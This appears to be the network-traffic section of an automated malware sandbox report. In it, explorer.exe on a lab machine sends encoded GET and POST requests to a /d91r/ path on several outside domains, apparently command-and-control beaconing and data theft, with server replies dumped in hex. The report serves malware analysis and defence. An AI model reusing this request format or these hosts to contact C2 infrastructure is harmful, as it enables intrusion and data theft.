uS~nw737foMf8z~k1Fh_PD6J1-KzajMiqzY7agZuMwet1eJap2vWY5CR2CbA93Wz6bNscFhlWTVNgcsN9a6YqXgbUKP1FfZKl0tnDKNZVnrjpyoeNTwcqMrPkKh79CSwjiLipwJtOq(3xrAfM72VM5eX9_fMGRHS69o-ztbnhJIAYNKGY5JzmpKAQDDs8LXmD8GXnZUxt_1mXy1l70AFpDUW~Xgvkm9ikVnqhwglxEutY2NluF1WPw9bu5RaCwlesYeHZA7wwd3tU5954j9ViWlWu4i9W-jUqB6yadppuCNxKqIdmiSE1iEDdRetNVi2UPUmQg6yMeJ_VRScqAWQWSM2PVY4qfVVtKZ5LpfMLRrnWAg-QDVm38x4490yBnS54PjSgfyjAScz1lZuAVUgPoa1YRhNu31DN24j6knmMS15ul63axQirfCVOudD0I8D8mHaqxi6BheMyhm8oBfLPlsT7KZUB4ldzy7FndCGJ1Nop5B-bjTBfcW7RvhY~xXaB_1dsfSVrbjgYzKUaFDDZE0PKXhji-FOSIM9nCNlvb6OukgYlC8GReKLU2zX6kXEX67z~ZKRWHUqAI5V1jNtE02IWUHX9bmkS9wZTCy-40NINAmog384kMJLXnF_WAcH1S2lkQosXPlnj04jW4NSCJEFc8baZfoe(gYRGRJwWb9LOJ0r5kThEEMz85FeCzVUaIqVOzMgTBy0NHC1gq57wBBlp3CyXZL5XF5PlhTt6so2rDOOu_pakyCBDlvMSk(ssI1wTGWn2G3HnyAo0Tp9VmGSsZ0sBdrhfMRmMQoafwWb~zqwMSiEQu(XnjPhEjmRJXmOMjtOYNxvmRWGPWo2Wazcfy61IpmF5kcut3DsaAWTT7MS~WHqKgU4JlzNJFiGsQnfJA4broaT8E~0VgC8Z1CnM0xxFX(YRqS9aDxZzi7MS92qd9B6FqgptXne12Cq82R0NxYJ1XvwAHaGoHKmy-l8aIjOrZOr9Er4hZkiaS67AYlS(4tCB-EAi5hSJzRL6A10lBuR4wj9siWLh-Fxp5qY~uQCTGPi6rJZo6vJXbbUYjAwt-SIGbtj8GALGEc5usCS9d4zdMoXvuada8rqdSoeGTchm3Wsz_Xn9cvWKzZw1v9CWEjfDA8YMSLXvaia(bu08BuUkQ0fXAI2YXLHQXuxwhdNQ_1_FJFEbe0W08TD6wCBM6N9eIrbCT6y9yPrihyX79D7z7WrGt9IzUukpfoyP42uMgfUa3~4L-8bDLa0jQk3Mddb5YRjsRZdKagDo72wwMFFqGGjkaJN(mKHUscMqmIPkoQ-bWALc1LSWOUYTfsjJo9ttpyg5pHdWs3WZr8t8tiDx_GQ2Km_zqE_dyatDZgBMv1dJNrtxBhMSX86zb1mKr~q3uV07OG8WOnRleeQYdampopvjuyzB_mFAqeYaeMt0dJjew4EBiVbfAbc3MjovEgaTkL3ICuRQj34S6TVRs(RVH7GEDHAJ2JozP~O(Rk2u07YBrQgq2Ens8~H6L1xsPjqmVVB8nhw8NCokTb81l(HoZQcfKO0sWNRNyl0SYfRCFa9b9c5rKs3HBlQli4ET2L1fYmXk6pqw1p59o87iIMPz56B5vXZbxpyfcBrA4zZBKkdvvSJMSct4TCQ0lFKFDwRgoZYKYzyS0MYYMKX5ElTAtRY9t76ovEOhJKkaCZpiSHkv39S5cLwkgpIRwJzKydMGSXLfyg0oczOSM3ISdFuSL0CXrikE5bJwKoPdRGXmyZzjGzpioNkq6JVtToWW6EUjYPIRygVBeXwYNKS8Xbu26gCMJvd9XCm4oF5Fe21Z3NVFLvJ2twjGOKWtqKzN7pf5bTyQQrQXHCRNdVpXQdp~AwQHFcTyg4Ihx8j3NAb~9IqlePMWMTldL7UGFUsOziM09p5mN3iMvxQlfh_XIwO4-xw31K06Elad1tGyGg-MD0E1Rs2DM4srybL12hUGPZWs47xlYT_pEgul9~CnHs1la5Q7UoqbfTNImOs740kwwEiPGjFMBIKdBNYTns-yVpd1KGpwy1FK7UUktsBlz9dlnmb3Sy79LzIQc0IHWgkb_oyV6h57hX1~vxOPfz6WdGVBqiRQ6rqlh5v5eKAireGtH(weta-qYWt5iH7T06YL59kOL8f5VESPykMKLy12KaQjudPXH(-6SLm0pDOGWpXJb4-q8p968eBczyUfO0VcFugAnPVnHpZHRtrinYorNAPWu0OwRnJXxF9AwC0awAFaGUkuGr5BFJbhHsiH4H3Srda3kaRKlmgPnsAlm4y2B~jMZaM~CB_FwKUD5f6~K751W~J5o4nRyiOfXeVmXD3HTAC7UjrhU8bYDH0PuJmMBsg~B(LtRBhDhRBHcCS~MwJVF9-lz2FZWXMokhoD1KpR0B0whya(gqXd2~Lht(BELIY8ZswycbirPoHy6Wl8ZzZydZP~2VR1iG8pcJDocVApJl1BCLmpPo8vI3MsCeRfIEF~WHo8ApglMhMUz(pSu(nhF2WjJ1khvUhcADpSO6XO5lXiXdROFxIVLkzFKD0nrtcO7HLhVLiiQkq4roFJ81RYfFTrdmu9wc_H7ZDkliFO0wutfKjVk2sels08lShyS0gImWMNMVyamRTheAhIIeppJs6zC0_alCeaRigHEGqR6EnE1CKbQFKU5reiOgHM570bHPKso73JkPWzNs7yV6NGXECcuq39Vr9VqlusAX_8zJhEX3N7I9l6cxcCKNPQwL5idpqCue60Qp5fWTieYWoWtyLLtR7(FoIr8rUzrqKqXrvt7UE5k1ZWt7rY8MW5t(FVUysMhdQHrKNvT~LQzIKTtDNX_s-ooU5M_s6NBN7woUeRvZvDLNweFzuDUDDNQAwFU8MPznldSW4QOFQ(OW03q1xTzpLEi0pJRFPf-PP4uoymmPZUgeY6OIJLXePY7L0x2aNjCyQbdDh21CJX2nbERlsgPgbo8afAsBVIrIPBeJkYjaRAbxK0tUnhsyEwkKmTLz0GG1vvs9MJFjL(Tq_kIWVB6pMENOngJ18n3W-aCBvOHymN2mSv3L0zXbgGamMG9mIWSxrlDLA7yoM7uzOGB5if91l0bgZv_U9OaU-VJu37dlQruS_Lz0hw8KRsy3MvYsiucTMLLwmaA8fCK5ALnqlgk~FWUO7pj2iEiWizA6sC4NGC_Jl(cKrJ9A7cpHSJKS
Mar 20, 2023 15:24:24.685022116 CET	1394	OUT	Data Raw: 61 44 72 76 64 41 75 68 51 7a 38 6f 70 73 79 33 58 6f 44 43 31 4f 58 78 36 51 7e 31 28 4a 53 63 45 58 6c 32 44 78 72 30 48 38 4c 55 7e 58 77 79 74 71 6d 69 5a 73 50 47 39 43 62 79 6c 75 49 58 58 58 4e 42 78 43 33 41 6e 5a 4c 67 75 50 31 37 63 78 Data Ascii: aDrvdAuhQz8opsy3XoDC1OXx6Q~1(JScEXl2Dxr0H8LU~XwytqmiZsPG9CbyluIXXXNBxC3AnZLguP17cxj0WpGEd0HjuoJ4FdBNSHfmAdGkqYRoHwQ1iezQ18Njd3LdBIIkUSPbq01B5hkZjyIPDUqVcrTW7RuDa-u_Fe8ArLgSoco-5UPU2kVxNgaP65LBJVLAgn1pizgRXeHbL_(EQ1g8PixjTBmMO8ZomqC2WYjtKrnCYPP

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.11.20	49914	208.91.197.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:27.292392969 CET	1394	OUT	GET /d91r/?pO=JQY8+24Njt/kPRjDacJftkXMjEMtZDsomMU4C5dHhuIEkrjQwkIyHBDAmNyMXnYjy8/Wz0vFGvMg0maSaemc6vUg0VCqTOU0ug==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.funvacayflorida.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:24:27.507333040 CET	1395	IN	HTTP/1.1 200 OK Date: Mon, 20 Mar 2023 14:24:27 GMT Server: Apache Set-Cookie: vsid=919vr426867867434137972; expires=Sat, 18-Mar-2028 14:24:27 GMT; Max-Age=157680000; path=/; domain=www.funvacayflorida.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_WCYVFQljn2WIcLoTavfIGd3zuHNuJP+jLH1lM+1/s+YN1mxPT5gOH6CDKr3QG87d63LACcKAdIJ4cmEK731tMA== Content-Length: 3044 Content-Type: text/html; charset=UTF-8 Connection: close
Mar 20, 2023 15:24:27.507350922 CET	1395	IN	Data Raw: 3c 21 2d 2d 0d 0a 09 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 75 6e 76 61 63 61 79 66 6c 6f 72 69 64 61 2e 63 6f 6d 2f 3f 66 70 3d 64 6a 38 70 68 72 78 25 32 46 4d 37 7a 6e 32 25 32 42 51 78 49 6c 39 36 56 49 Data Ascii: ...top.location="http://www.funvacayflorida.com/?fp=dj8phrx%2FM7zn2%2BQxIl96VISg%2BlRAUkJF1tnEn7z1%2BPtQiCFpqnDhHGDoC0LOif%2B9ghbFZk2h1pgSHB9rPMBuMCO1MyK4P6GPRk2iNg1MPkP7GboJZfnuoVOBG%2F%2FPagBWjYrheobOfEDm47Tg76WCBaHeVPh7F9IssHFIjc5UrUXvR
Mar 20, 2023 15:24:27.507364988 CET	1397	IN	Data Raw: 44 61 63 4a 66 74 6b 58 4d 6a 45 4d 74 5a 44 73 6f 6d 4d 55 34 43 35 64 48 68 75 49 45 6b 72 6a 51 77 6b 49 79 48 42 44 41 6d 4e 79 4d 58 6e 59 6a 79 38 25 32 46 57 7a 30 76 46 47 76 4d 67 30 6d 61 53 61 65 6d 63 36 76 55 67 30 56 43 71 54 4f 55 Data Ascii: DacJftkXMjEMtZDsomMU4C5dHhuIEkrjQwkIyHBDAmNyMXnYjy8%2FWz0vFGvMg0maSaemc6vUg0VCqTOU0ug%3D%3D&8H7gL=Bxcfm_qbbEGm";/*--><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWr
Mar 20, 2023 15:24:27.507497072 CET	1398	IN	Data Raw: 62 6a 4a 70 34 25 32 46 32 69 76 4e 35 4d 4c 68 4d 42 66 43 74 43 48 36 35 7a 68 6d 68 31 4c 64 58 4d 71 55 5a 73 35 53 78 61 59 32 69 4e 59 53 56 35 58 5a 4a 47 4d 69 64 50 45 69 69 66 36 4f 64 59 57 52 44 74 33 75 66 58 55 32 25 32 46 35 5a 67 Data Ascii: bjJp4%2F2ivN5MLhMBfCtCH65zhmh1LdXMqUZs5SxaY2iNYSV5XZJGMidPEiif6OdYWRDt3ufXU2%2F5ZgAnAWCn6%2FubyyEwfz2%2F0X%2Fu1cV0bF69ZhqIYT0y90hWT5K1dyQkg%3D%3D&_opnslfp=1&pO=JQY8+24Njt%2FkPRjDacJftkXMjEMtZDsomMU4C5dHhuIEkrjQwkIyHBDAmNyMXnYjy8%2FWz0vFGvMg0ma

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.11.20	49915	88.212.206.251	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:35.608892918 CET	1399	OUT	GET /d91r/?pO=iC4EpsnjqAMsGvgWFbn+fContgVXGATBB72AUlNsZB8RnX0iaYC7Rjz9cHXMA4a3u8hdEGRv958fgJWC172SOiEaLo/g5aJ7NA==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.interactive-media.ru Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:24:35.658771038 CET	1400	IN	HTTP/1.1 404 Not Found Server: nginx/1.10.3 Date: Mon, 20 Mar 2023 14:24:35 GMT Content-Type: text/html Content-Length: 62299 Connection: close ETag: "627b7393-f35b" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 48 61 6e 64 68 65 6c 64 46 72 69 65 6e 64 6c 79 22 20 63 6f 6e 74 65 6e 74 3d 22 54 72 75 65 22 20 2f 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4d 6f 62 69 6c 65 4f 70 74 69 6d 69 7a 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 33 32 30 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e d0 92 d0 b8 d1 82 d1 80 d0 b8 d0 bd d0 b0 20 d0 b4 d0 be d0 bc d0 b5 d0 bd d0 b0 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 73 73 2f 73 68 6f 70 77 69 6e 64 6f 77 2e 63 73 73 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 73 76 67 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 22 3e 0a 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 74 72 61 64 65 2e 77 65 62 6e 61 6d 65 73 2e 72 75 22 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 94 d0 be d0 bc d0 b5 d0 bd 20 d0 bf d1 80 d0 be d0 b4 d0 b0 d0 b5 d1 82 d1 81 d1 8f 22 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 74 72 61 64 65 2e 77 65 62 6e 61 6d 65 73 2e 72 75 2f 69 6d 67 2f 6f 67 5f 69 6d 61 67 65 2e 70 6e 67 22 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 70 65 72 2d 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6c 67 2d 31 30 20 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 65 61 64 65 72 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 73 6d 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 5f 5f 6c 6f 67 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 Data Ascii: <!DOCTYPE html><html lang="ru"><head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="HandheldFriendly" content="True" /> <meta name="MobileOptimized" content="320" /> <title> </title> <meta name="description" content="" /> <link rel="stylesheet" href="css/shopwindow.css"> <link rel="shortcut icon" href="img/favicon.svg" type="image/svg+xml"> <meta property="og:url" content="http://trade.webnames.ru"> <meta property="og:type" content="website"> <meta property="og:title" content=" "> <meta property="og:description" content=""> <meta property="og:image" content="http://trade.webnames.ru/img/og_image.png"></head><body> <div class="wrapper-main"> <div class="row"> <div class="col-lg-10 col-lg-push-1"> <header class="header"> <div class="row"> <div class="col-sm-4"> <div class="header__logo"> <a href="https://www.w
Mar 20, 2023 15:24:35.658818007 CET	1401	IN	Data Raw: 65 62 6e 61 6d 65 73 2e 72 75 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 73 68 6f 70 77 69 6e 64 6f 77 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 6c 69 63 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 73 68 6f 70 77 69 6e 64 6f 77 5f 6c 6f 67 6f 26 77 6e 5f Data Ascii: ebnames.ru?utm_source=shopwindow&utm_medium=click&utm_campaign=shopwindow_logo&wn_campaign=shopwindow_logo" class="header__logo-link"> <img src="https://www.webnames.ru/wn/img/logo-horizontal.svg" alt="webnames.ru" class="hea
Mar 20, 2023 15:24:35.658855915 CET	1403	IN	Data Raw: 75 72 63 65 3d 73 68 6f 70 77 69 6e 64 6f 77 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 6c 69 63 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 73 68 6f 70 77 69 6e 64 6f 77 5f 68 6f 73 74 69 6e 67 26 77 6e 5f 63 61 6d 70 61 69 67 6e 3d 73 68 6f 70 77 Data Ascii: urce=shopwindow&utm_medium=click&utm_campaign=shopwindow_hosting&wn_campaign=shopwindow_hosting" class="header__menu-link"> </a> <a href="https://www.webnames.ru/ssl?utm_source=shopwindow&utm_medium=clic
Mar 20, 2023 15:24:35.658891916 CET	1404	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 d0 94 d0 be d0 bc d0 b5 d0 bd 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 Data Ascii: <br> <span class="js-dname banner__header-main text-default"></span> <br> <br>
Mar 20, 2023 15:24:35.658929110 CET	1405	IN	Data Raw: 68 6f 70 77 69 6e 64 6f 77 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 6c 69 63 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 73 68 6f 70 77 69 6e 64 6f 77 5f 63 6f 6e 74 61 63 74 5f 6f 77 6e 65 72 5f 6c 69 6e 6b 26 77 6e 5f 63 61 6d 70 61 69 67 6e 3d Data Ascii: hopwindow&utm_medium=click&utm_campaign=shopwindow_contact_owner_link&wn_campaign=shopwindow_contact_owner_link" target="_blank" class="js-contactLink link_underline hide"> </a> <a href=
Mar 20, 2023 15:24:35.658965111 CET	1406	IN	Data Raw: 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 3c 73 74 79 6c 65 3e 2e 73 74 30 7b 66 69 6c 6c 3a 23 63 63 64 39 66 66 7d 2e 73 74 31 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 73 74 34 7b 6f 70 61 63 69 74 79 3a 2e 31 3b 65 6e 61 62 6c 65 2d 62 61 63 6b Data Ascii: ace="preserve"><style>.st0{fill:#ccd9ff}.st1{fill:#fff}.st4{opacity:.1;enable-background:new}.st7{opacity:5.000000e-02}.st8{opacity:.3;enable-background:new}.st12{fill:#ee5f61}.st16{opacity:.5;enable-background:new}.st22{fill:#ffcebf}.st24{fil
Mar 20, 2023 15:24:35.659145117 CET	1408	IN	Data Raw: 36 20 32 31 2e 39 20 31 2e 32 20 37 2e 35 20 31 2e 37 20 31 35 2e 31 20 31 2e 36 20 32 32 2e 36 2d 2e 34 20 31 35 2e 31 2d 33 2e 34 20 33 30 2e 31 2d 39 2e 31 20 34 34 20 34 2e 37 2d 31 34 2e 32 20 37 2e 32 2d 32 39 2e 31 20 36 2e 39 2d 34 34 2d Data Ascii: 6 21.9 1.2 7.5 1.7 15.1 1.6 22.6-.4 15.1-3.4 30.1-9.1 44 4.7-14.2 7.2-29.1 6.9-44-.1-7.4-.8-14.8-2.3-22.1l-1.2-5.4-1.5-5.4-1.7-5.3c-.7-1.7-1.3-3.5-2-5.1-5.7-13.7-13.7-26.2-23.6-37.2-2.4-2.8-5-5.4-7.6-8-2.7-2.5-5.4-5-8.2-7.4-5.7-4.7-11.8-8.9-18
Mar 20, 2023 15:24:35.659190893 CET	1409	IN	Data Raw: 20 32 2e 38 20 33 2e 35 20 31 20 37 20 32 2e 31 20 31 30 2e 35 20 33 2e 33 2d 33 2e 35 2d 2e 39 2d 37 2d 31 2e 38 2d 31 30 2e 36 2d 32 2e 36 2d 33 2e 35 2d 2e 39 2d 37 2e 31 2d 31 2e 36 2d 31 30 2e 37 2d 32 2e 33 2d 37 2e 32 2d 31 2e 34 2d 31 34 Data Ascii: 2.8 3.5 1 7 2.1 10.5 3.3-3.5-.9-7-1.8-10.6-2.6-3.5-.9-7.1-1.6-10.7-2.3-7.2-1.4-14.3-2.5-21.6-3.1-7.2-.7-14.5-1-21.7-.9-7.2.1-14.4.7-21.5 1.9-3.6.6-7.1 1.3-10.6 2.1-3.5.9-6.9 1.8-10.4 3-6.8 2.4-13.5 5.1-19.9 8.3-6.4 3.3-12.7 6.8-18.6 10.8l-4.4
Mar 20, 2023 15:24:35.659231901 CET	1410	IN	Data Raw: 2e 39 20 32 2e 33 2d 31 2e 37 20 34 2e 37 2d 32 2e 35 20 37 2d 2e 34 20 31 2e 32 2d 2e 38 20 32 2e 33 2d 31 2e 32 20 33 2e 35 6c 2d 31 2e 31 20 33 2e 36 2d 31 2e 31 20 33 2e 36 2d 31 20 33 2e 36 2d 2e 39 20 33 2e 36 63 2d 2e 33 20 31 2e 32 2d 2e Data Ascii: .9 2.3-1.7 4.7-2.5 7-.4 1.2-.8 2.3-1.2 3.5l-1.1 3.6-1.1 3.6-1 3.6-.9 3.6c-.3 1.2-.5 2.4-.8 3.6-.5 2.4-1.1 4.8-1.5 7.3-1.8 9.8-2.9 19.6-3.3 29.5-.4 9.9.2 19.8 1.2 29.7.3 2.5.7 4.9 1 7.4.4 2.4.8 4.9 1.3 7.3.5 2.4 1 4.9 1.6 7.3l.9 3.6c.2.6.3 1.2.
Mar 20, 2023 15:24:35.659269094 CET	1412	IN	Data Raw: 2e 34 20 35 38 2e 39 63 2d 38 2e 35 20 31 34 2e 34 2d 32 37 2e 31 20 31 39 2e 32 2d 34 31 2e 36 20 31 30 2e 37 2d 31 34 2e 34 2d 38 2e 35 2d 31 39 2e 32 2d 32 37 2e 31 2d 31 30 2e 37 2d 34 31 2e 36 20 38 2e 35 2d 31 34 2e 34 20 32 37 2e 31 2d 31 Data Ascii: .4 58.9c-8.5 14.4-27.1 19.2-41.6 10.7-14.4-8.5-19.2-27.1-10.7-41.6 8.5-14.4 27.1-19.2 41.5-10.7 14.6 8.6 19.3 27.2 10.8 41.6zm-41.3-153.9c0-6.3-2.6-12.2-7.1-16.5l-.7-.6c-4.2-3.6-9.5-5.7-15-5.7-1 0-2.1.1-3.1.2-.2.1-.4.1-.6.1-4.2.7-8.1 2.5-11.4
Mar 20, 2023 15:24:35.708435059 CET	1413	IN	Data Raw: 2d 2e 31 2d 2e 33 2d 2e 31 2d 2e 31 20 30 2d 2e 31 2d 2e 31 2d 2e 32 2d 2e 31 2d 2e 31 2d 2e 31 2d 2e 32 2d 2e 31 2d 2e 33 2d 2e 31 2d 2e 31 20 30 2d 2e 31 2d 2e 31 2d 2e 32 2d 2e 31 2d 2e 31 2d 2e 31 2d 2e 32 2d 2e 31 2d 2e 33 2d 2e 31 2d 2e 31 Data Ascii: -.1-.3-.1-.1 0-.1-.1-.2-.1-.1-.1-.2-.1-.3-.1-.1 0-.1-.1-.2-.1-.1-.1-.2-.1-.3-.1-.1-.1-.1-.1-.2-.1-.1-.1-.2-.1-.3-.1-.1-.1-.1-.1-.2-.1-.1-.1-.2-.1-.3-.2-.1-.1-.1-.1-.2-.1-.1-.1-.2-.1-.2-.2s-.1-.1-.2-.1c-.1-.1-.2-.1-.2-.2s-.1-.1-.2-.1c-.1-.1-.2-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.11.20	49916	45.56.79.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:40.908020020 CET	1464	OUT	POST /d91r/ HTTP/1.1 Host: www.cardinialethanol.com Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.cardinialethanol.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.cardinialethanol.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 38 48 4c 51 72 42 73 6a 77 64 65 56 55 5f 33 79 73 58 4f 4f 45 48 79 6b 4c 70 76 52 41 71 75 70 6b 59 33 32 72 75 4e 52 6a 51 42 61 74 61 50 34 46 66 4a 5f 37 36 4a 6c 4f 46 62 59 34 51 6b 36 56 33 68 46 64 54 61 6a 74 4e 38 30 49 78 51 45 59 58 45 6c 54 37 30 76 5a 6f 65 4f 64 51 54 6f 54 6d 6c 58 72 36 53 75 34 69 6e 5a 6c 4b 77 6d 52 35 7a 52 4a 4f 68 79 76 67 6a 79 64 6f 6a 75 78 4b 56 6d 55 5a 57 69 59 70 38 72 4b 49 57 43 51 48 74 64 61 74 50 4d 62 73 28 32 39 72 56 32 44 59 47 69 75 39 51 58 6e 37 50 42 30 77 50 61 57 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=8HLQrBsjwdeVU_3ysXOOEHykLpvRAqupkY32ruNRjQBataP4FfJ_76JlOFbY4Qk6V3hFdTajtN80IxQEYXElT70vZoeOdQToTmlXr6Su4inZlKwmR5zRJOhyvgjydojuxKVmUZWiYp8rKIWCQHtdatPMbs(29rV2DYGiu9QXn7PB0wPaWg).
Mar 20, 2023 15:24:41.045238018 CET	1466	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Mon, 20 Mar 2023 14:24:40 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 31 42 38 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 9d 6b 53 db 48 da b0 bf 3f bf c2 a8 b6 58 fb 45 28 40 ce 26 0e 4b 80 64 98 4d 20 03 64 0e cb 52 94 b0 05 28 31 12 23 cb 10 06 fc df df eb be bb 5b 6a 1f 08 99 7d 76 3f 3c 55 3b b5 1b 64 a9 d5 ea c3 7d 3e f5 ab b9 cd dd 8d 83 df 3e 6e 35 ce cb 8b fe eb ff 79 25 7f 1a fd 38 3b eb 04 49 16 bc fe 9f 06 ff bd 3a 4f e2 9e b9 d4 9f 17 49 19 37 ba e7 71 31 48 ca 4e f0 e9 e0 ed e2 0b db b2 7e 7c 5e 96 97 8b c9 ef c3 f4 aa 13 7c 5d 1c c6 8b dd fc e2 32 2e d3 93 7e 12 34 ba 79 56 26 19 ef 6e 6f 75 92 de 59 12 bc 7e 35 e8 16 e9 65 d9 28 6f 2e 93 4e 50 26 5f cb 47 9f e3 ab d8 dc 0d 5e 37 af d3 ac 97 5f 47 3b 7b 5b 9f 3e dc dd 35 f5 6f e7 76 d4 6a 45 69 96 96 9d db cb 22 bd 8a bb 37 ed db 6e 9e 7f 49 93 c1 71 92 c5 7c aa d7 3e 8d fb 83 64 14 c6 9f e3 af ed db 5e 92 dd 1c f7 d3 41 d9 3e 0c 4e e2 8b 28 2b 16 7b 71 19 47 59 52 06 47 a3 d1 ea 37 3e d3 cf e3 5e 52 1c 33 f2 d3 f4 ac 73 fb f5 32 ed b5 83 4f d7 bf bd fd f4 f6 e7 5f de 5d af bf f9 f4 73 ef 60 f3 ac fb 31 08 fb 69 37 c9 06 c9 df 93 9b 76 b0 d4 7b fc e2 e9 49 fc 22 5e 0a c2 f8 f2 92 47 ac 41 9e 6d 6f b6 83 c7 cb 4f 9f 2d bf 7c f6 22 18 ad ae 36 9b ad ce eb db ab b8 68 24 61 19 16 9d db 97 4b cf 97 db 4d fd 21 4f 82 e1 20 69 0c ca 22 ed 96 c1 6a 11 f5 9a 